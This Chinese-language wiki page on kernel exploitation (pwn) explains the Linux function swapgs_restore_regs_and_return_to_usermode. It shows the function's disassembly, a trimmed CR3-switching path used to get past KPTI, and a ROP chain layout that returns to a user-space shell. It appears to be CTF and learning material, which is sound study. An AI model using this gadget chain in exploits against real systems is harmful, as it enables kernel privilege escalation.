> For the complete documentation index, see [llms.txt](https://lightc.gitbook.io/pwn-gitbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lightc.gitbook.io/pwn-gitbook/kpwn/kpwn-tricks/swapgs-yu-rop.md).

# swapgs与ROP

`swapgs_restore_regs_and_return_to_usermode` 是内核中用于从内核态返回用户态的关键函数。

## 汇编代码

```assembly
Dump of assembler code for function swapgs_restore_regs_and_return_to_usermode:
<+0>:     nop    DWORD PTR [rax+rax*1+0x0]
<+5>:     pop    r15
<+7>:     pop    r14
<+9>:     pop    r13
<+11>:    pop    r12
<+13>:    pop    rbp
<+14>:    pop    rbx
<+15>:    pop    r11
<+17>:    pop    r10
<+19>:    pop    r9
<+21>:    pop    r8
<+23>:    pop    rax
<+24>:    pop    rcx
<+25>:    pop    rdx
<+26>:    pop    rsi
<+27>:    mov    rdi,rsp
<+30>:    mov    rsp,QWORD PTR gs:0x6004
<+39>:    push   QWORD PTR [rdi+0x30]
<+42>:    push   QWORD PTR [rdi+0x28]
<+45>:    push   QWORD PTR [rdi+0x20]
<+48>:    push   QWORD PTR [rdi+0x18]
<+51>:    push   QWORD PTR [rdi+0x10]
<+54>:    push   QWORD PTR [rdi]
<+56>:    push   rax
<+57>:    xchg   ax,ax
<+59>:    mov    rdi,cr3
<+62>:    jmp    <+116> <swapgs_restore_regs_and_return_to_usermode+116>
<+64>:    mov    rax,rdi
<+67>:    and    rdi,0x7ff
<+74>:    bt     QWORD PTR gs:0x33956,rdi
<+84>:    jae    <+101> <swapgs_restore_regs_and_return_to_usermode+101>
<+86>:    btr    QWORD PTR gs:0x33956,rdi
<+96>:    mov    rdi,rax
<+99>:    jmp    <+109> <swapgs_restore_regs_and_return_to_usermode+109>
<+101>:   mov    rdi,rax
<+104>:   bts    rdi,0x3f
<+109>:   or     rdi,0x800
<+116>:   or     rdi,0x1000
<+123>:   mov    cr3,rdi
<+126>:   pop    rax
<+127>:   pop    rdi
<+128>:   swapgs
<+131>:   jmp    0xffffffff81c01060 <native_iret>
<+136>:   nop
End of assembler dump.
```

## 精简路径

在实际操作中直接从 `<+27> mov rdi, rsp` / `<+59> mov rdi, cr3` 开始，总结为如下操作：

```assembly
mov  rdi, cr3
or rdi, 0x1000
mov  cr3, rdi
pop rax
pop rdi
swapgs
iretq
```

## ROP 链布局

```c
swapgs_restore_regs_and_return_to_usermode
0
0
user_shell_addr
user_cs
user_rflags
user_sp
user_ss
```
